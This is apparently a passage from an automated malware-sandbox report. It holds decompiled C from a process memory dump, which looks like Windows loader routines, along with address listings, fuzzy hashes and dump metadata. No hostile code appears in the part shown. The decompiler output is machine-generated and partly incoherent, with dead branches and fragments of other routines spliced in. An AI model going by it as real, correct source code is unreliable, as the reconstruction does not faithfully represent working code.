				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				intOrPtr _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				intOrPtr _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				intOrPtr* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x472d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E04646600(0x47252d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x4727b9c; // 0x0
							_t281 = L04654620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E0467F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x4727b90; // 0x77df0000
								if(_t384 == 0) {
									_t353 =  *0x4727b8c; // 0xa63d80
									_v176 = _t353;
									_t63 = _t353 + 0x50; // 0xa63e30
									_t64 =  *_t63 + 0x20; // 0x9
									_t320 =  *_t64;
									_v184 = _t320;
								} else {
									E04652280(_t200, 0x47284d8);
									_t277 =  *0x47285f4; // 0xa6b4c8
									_t351 =  *0x47285f8 & 1;
									while(_t277 != 0) {
										_t21 = _t277 - 0x50; // 0x75c30000
										_t337 =  *_t21;
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t23 = _t277 - 0x18; // 0xa66138
													_t340 =  *_t23;
													_t24 = _t277 - 0x68; // 0xa6b460
													_t353 = _t24;
													_v176 = _t353;
													__eflags =  *((intOrPtr*)(_t340 + 0xc)) - 0xffffffff;
													if( *((intOrPtr*)(_t340 + 0xc)) != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t30 = _t353 + 0x50; // 0xa66138
															_t340 =  *_t30;
														}
													}
													_t31 = _t340 + 0x20; // 0x9
													_v184 =  *_t31;
												}
											} else {
												_t22 = _t277 + 4; // 0xa62328
												_t339 =  *_t22;
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E0464FFB0(_t287, _t353, 0x47284d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E0468CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E04646600(0x47252d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E04647926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x472b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E046BE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x4728472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x472b218; // 0x4e946784
														asm("ror edi, cl");
														 *0x472b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E04652280(_t250, 0x47284d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L04673898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E0464FFB0(_t293, _t353, 0x47284d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E046737F5(_t353, 0);
																}
																E04670413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E04669B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E046602D6(_t174);
																}
																L046577F0( *0x4727b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E0466C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L0464EC7F(_t353);
										L046619B8(_t287, 0, _t353, 0);
										_t200 = E0463F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E0467B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x472b2f8; // 0x1200000
									if((_t206 |  *0x472b2fc) == 0 || ( *0x472b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x472b2ec; // 0x100
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E046E6B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E046E6AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E0464E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L0464EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E04679730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E0464E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L04648F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E04673C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x0464d5f2
0x0464d5f5
0x0464d5f5
0x0464d5fd
0x0464d600
0x0464d60a
0x0464d60d
0x0464d617
0x0464d61d
0x0464d627
0x0464d62e
0x0464d911
0x0464d913
0x00000000
0x0464d919
0x0464d919
0x0464d919
0x0464d634
0x0464d634
0x0464d634
0x0464d634
0x0464d640
0x0464d8bf
0x00000000
0x0464d646
0x0464d646
0x0464d64d
0x0464d652
0x0469b2fc
0x0469b2fc
0x0469b302
0x0469b33b
0x0469b341
0x00000000
0x0469b304
0x0469b304
0x0469b319
0x0469b31e
0x0469b324
0x0469b326
0x0469b332
0x0469b347
0x0469b34c
0x0469b351
0x0469b35a
0x00000000
0x0469b328
0x0469b328
0x00000000
0x0469b328
0x0469b326
0x0464d658
0x0464d658
0x0464d65b
0x0464d665
0x00000000
0x0464d66b
0x0464d66b
0x0464d66b
0x0464d66b
0x0464d66d
0x0464d672
0x0464d67a
0x00000000
0x00000000
0x0464d680
0x0464d686
0x0464d8ce
0x0464d8d4
0x0464d8da
0x0464d8dd
0x0464d8dd
0x0464d8e0
0x0464d68c
0x0464d691
0x0464d69d
0x0464d6a2
0x0464d6a7
0x0464d6b0
0x0464d6b0
0x0464d6b5
0x0464d6e0
0x0464d6b7
0x0464d6b7
0x0464d6b9
0x0464d6b9
0x0464d6bb
0x0464d6bd
0x0464d6ce
0x0464d6d0
0x0464d6d2
0x0469b363
0x0469b365
0x00000000
0x0469b36b
0x00000000
0x0469b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0464d6bf
0x0464d6bf
0x0464d6e5
0x0464d6e7
0x0464d6e9
0x0464d6e9
0x0464d6ec
0x0464d6ec
0x0464d6ef
0x0464d6f5
0x0464d6f9
0x0464d6fb
0x0464d6fd
0x0464d701
0x0464d703
0x0464d70a
0x0464d70a
0x0464d70a
0x0464d701
0x0464d70d
0x0464d710
0x0464d710
0x0464d6c1
0x0464d6c1
0x0464d6c1
0x0464d6c6
0x0469b36d
0x0469b36f
0x00000000
0x0469b375
0x0469b375
0x0469b375
0x00000000
0x0469b375
0x00000000
0x0464d6cc
0x0464d6d8
0x0464d6d8
0x0464d6d8
0x00000000
0x0464d6c6
0x0464d6bf
0x00000000
0x0464d6da
0x0464d6da
0x0464d716
0x0464d71b
0x0464d720
0x0464d726
0x0464d726
0x0464d72d
0x00000000
0x0464d733
0x0464d739
0x0464d742
0x0464d750
0x0464d758
0x0464d764
0x0464d776
0x0464d77a
0x0464d783
0x0464d928
0x0464d92c
0x0464d93d
0x0464d944
0x0464d94f
0x0464d954
0x0464d956
0x0464d95f
0x0464d961
0x0464d973
0x0464d973
0x0464d956
0x0464d944
0x0464d92c
0x0464d78b
0x0469b394
0x0464d791
0x0464d798
0x0469b3a3
0x0469b3bb
0x0469b3bb
0x0464d7a5
0x0464d866
0x0464d870
0x0464d884
0x0464d892
0x0464d898
0x0464d89e
0x0464d8a0
0x0464d8a6
0x0464d8ac
0x0464d8ae
0x0464d8b4
0x0464d8b4
0x0464d8ae
0x0464d7a5
0x0464d78b
0x0464d7b1
0x0469b3c5
0x0469b3c5
0x0464d7c3
0x0464d7ca
0x0464d7e5
0x0464d7eb
0x0464d8eb
0x0464d8ed
0x00000000
0x0464d8f3
0x0464d8f3
0x0464d8f3
0x00000000
0x0464d8ed
0x0464d7cc
0x0464d7cc
0x0464d7d2
0x00000000
0x0464d7d4
0x0464d7d4
0x0464d7d7
0x0464d7df
0x0469b3d4
0x0469b3d9
0x0469b3dc
0x0469b3dc
0x0469b3df
0x0469b3e2
0x0469b468
0x0469b46d
0x0469b46f
0x0469b46f
0x0469b475
0x0464d8f8
0x0464d8f9
0x0464d8fd
0x0469b3e8
0x0469b3e8
0x0469b3eb
0x0469b3ed
0x00000000
0x0469b3ef
0x0469b3ef
0x0469b3f1
0x0469b3f4
0x0469b3fe
0x0469b404
0x0469b409
0x0469b40e
0x0469b410
0x0469b410
0x0469b414
0x0469b414
0x0469b41b
0x0469b420
0x0469b423
0x0469b425
0x0469b427
0x0469b42a
0x0469b42d
0x0469b42d
0x0469b42a
0x0469b432
0x0469b436
0x0469b438
0x0469b43b
0x0469b43b
0x0469b449
0x0469b44e
0x0469b454
0x0469b458
0x0469b458
0x0469b45d
0x00000000
0x0469b45d
0x0469b3ed
0x00000000
0x00000000
0x00000000
0x0464d7df
0x0464d7d2
0x0464d7ca
0x0469b37c
0x0469b37e
0x0469b385
0x0469b38a
0x00000000
0x0469b38a
0x0464d742
0x0464d7f1
0x0464d7f8
0x0469b49b
0x0469b49b
0x0464d800
0x0464d837
0x0464d843
0x0464d845
0x0464d847
0x0464d84a
0x0464d84b
0x0464d84e
0x0464d857
0x0464d802
0x0464d802
0x0464d80d
0x00000000
0x0464d818
0x0464d818
0x0464d824
0x0464d831
0x0469b4a5
0x0469b4ab
0x0469b4b3
0x0469b4b8
0x0469b4bb
0x00000000
0x0469b4c1
0x0469b4c1
0x0469b4c8
0x00000000
0x0469b4ce
0x0469b4d4
0x0469b4e1
0x0469b4e3
0x0469b4e5
0x00000000
0x0469b4eb
0x0469b4f0
0x0469b4f2
0x0464dac9
0x0464dacc
0x0464dacf
0x0464dad1
0x0464dd78
0x0464dd78
0x0464dcf2
0x00000000
0x0464dad7
0x0464dad9
0x0464dadb
0x00000000
0x00000000
0x0464dae1
0x0464dae1
0x0464dae4
0x0464dae6
0x0469b4f9
0x0469b4f9
0x0469b500
0x0464daec
0x0464daec
0x0464daf5
0x0464daf8
0x0464dafb
0x0464db03
0x0464db11
0x0464db16
0x0464db19
0x0464db1b
0x0469b52c
0x0469b531
0x0469b534
0x0464db21
0x0464db21
0x0464db24
0x0464dcd9
0x0464dce2
0x0464dce5
0x0464dd6a
0x0464dd6d
0x00000000
0x0464dd73
0x0469b51a
0x0469b51c
0x0469b51f
0x0469b524
0x00000000
0x0469b524
0x0464dce7
0x0464dce7
0x0464dce7
0x00000000
0x0464dce7
0x00000000
0x0464db2a
0x0464db2c
0x0464db31
0x0464db33
0x0464db36
0x0464db39
0x0464db3b
0x0464db66
0x0464db66
0x0464db3d
0x0464db3d
0x0464db3e
0x0464db46
0x0464db47
0x0464db49
0x0464db4c
0x0464db53
0x0464db55
0x0464db58
0x0464db5a
0x0469b50a
0x0469b50f
0x0469b512
0x0464db60
0x0464db60
0x0464db63
0x0464db63
0x00000000
0x0464db63
0x0464db5a
0x0464db3b
0x0464db24
0x0464db69
0x0464db69
0x0464db6c
0x0464db6f
0x0464db74
0x0469b557
0x0469b557
0x0469b55e
0x0464db7a
0x0464db7c
0x0464db7f
0x0464db82
0x0464db85
0x00000000
0x0464db8b
0x0464db8b
0x0464db8d
0x0464db9b
0x0464db9b
0x0464db9d
0x0464dba0
0x0464dba2
0x0464dba4
0x0464dba7
0x0464dba9
0x0464dbae
0x0464dbae
0x0464dbb1
0x0464dbb4
0x0464dbb4
0x0464dbb7
0x0464dbba
0x0464dcd2
0x0464dcd4
0x00000000
0x0464dbc0
0x0464dbc0
0x0464dbd2
0x0464dbd7
0x0464dbda
0x0464dbdd
0x0464dbdf
0x00000000
0x0464dbe5
0x0464dbe5
0x0464dbee
0x0464dbf1
0x0469b541
0x0469b544
0x00000000
0x0469b546
0x0469b546
0x00000000
0x0469b546
0x0464dbf7
0x0464dbf7
0x0464dbfd
0x0464dbfd
0x0464dbff
0x0464dc0b
0x0464dc15
0x0464dc1b
0x0464dc1d
0x0464dc21
0x0464dc21
0x0464dc23
0x0464dc23
0x0464dc26
0x0464dc29
0x0464dc2b
0x00000000
0x00000000
0x0464dc31
0x0464dc34
0x0464dc36
0x0464dcbf
0x0464dcbf
0x0464dcc2
0x00000000
0x0464dc3c
0x0464dc41
0x0464dc43
0x00000000
0x0464dc45
0x0464dc45
0x0464dc47
0x00000000
0x0464dc4d
0x0464dc4d
0x0464dc50
0x0464dc52
0x0464dc55
0x0464dcfa
0x0464dcfe
0x0464dd08
0x0464dd0a
0x0464dd0c
0x00000000
0x0464dd12
0x0464dd15
0x0464dd2d
0x0464dd2f
0x0464dd32
0x0464dd35
0x00000000
0x0464dd35
0x0464dc5b
0x0464dc5b
0x0464dc5e
0x0464dc61
0x0464dc64
0x0464dc67
0x0464dc67
0x0464dc6a
0x0464dc6c
0x0464dc8e
0x0464dc8e
0x0464dc91
0x0464dc93
0x0464dcce
0x0464dcce
0x0464dc95
0x0464dc9c
0x0464dc6e
0x0464dc72
0x0464dc75
0x0464dc77
0x0464dc79
0x0469b551
0x0469b551
0x00000000
0x0464dc7f
0x0464dc7f
0x0464dc81
0x00000000
0x0464dc83
0x0464dc86
0x0464dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x0464dc88
0x0464dc81
0x0464dc79
0x0464dc6c
0x0464dc55
0x0464dc47
0x0464dc43
0x00000000
0x0464dc36
0x0464dc23
0x00000000
0x0464dbff
0x0464dbf1
0x0464dbdf
0x0464db8f
0x0464db92
0x0464db95
0x00000000
0x00000000
0x00000000
0x00000000
0x0464db95
0x0464db8d
0x0464db85
0x0464db74
0x0464dc9f
0x0464dca2
0x0464dcb0
0x0464dcb0
0x0464dad1
0x0469b4e5
0x0469b4c8
0x00000000
0x00000000
0x00000000
0x0464d831
0x0464d80d
0x00000000
0x0464d800
0x0469b47f
0x0469b485
0x00000000
0x0469b485
0x0464d665
0x0464d652
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a71c0ab8beb978e94dcd4cefb924c87af2b3eef806308c63a973040987ceb22
Instruction ID: 0885f855f7287d69cb003e0639facb3b9de52ad0b407eb1dd68e74c1571b18ec
Opcode Fuzzy Hash: 2a71c0ab8beb978e94dcd4cefb924c87af2b3eef806308c63a973040987ceb22
Instruction Fuzzy Hash: 1CE18970B003598FEF24DF28C984BA9B7A6BB95718F0441A9D9099B390F774BD81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0464849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0464849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x470f9c0);
				E0468D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x4727b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E0464CEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E04652280( *[fs:0x30], 0x4728550);
						_t139 =  *0x4727b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E0466F3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E0464FFB0(_t193, _t235, 0x4728550);
								L5:
								return E0468D130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E04631C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x4727b9c; // 0x0
							_t235 = L04654620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x4727b10; // 0x9
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E0466A61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E0464FFB0(_t193, _t235, 0x4728550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L046577F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
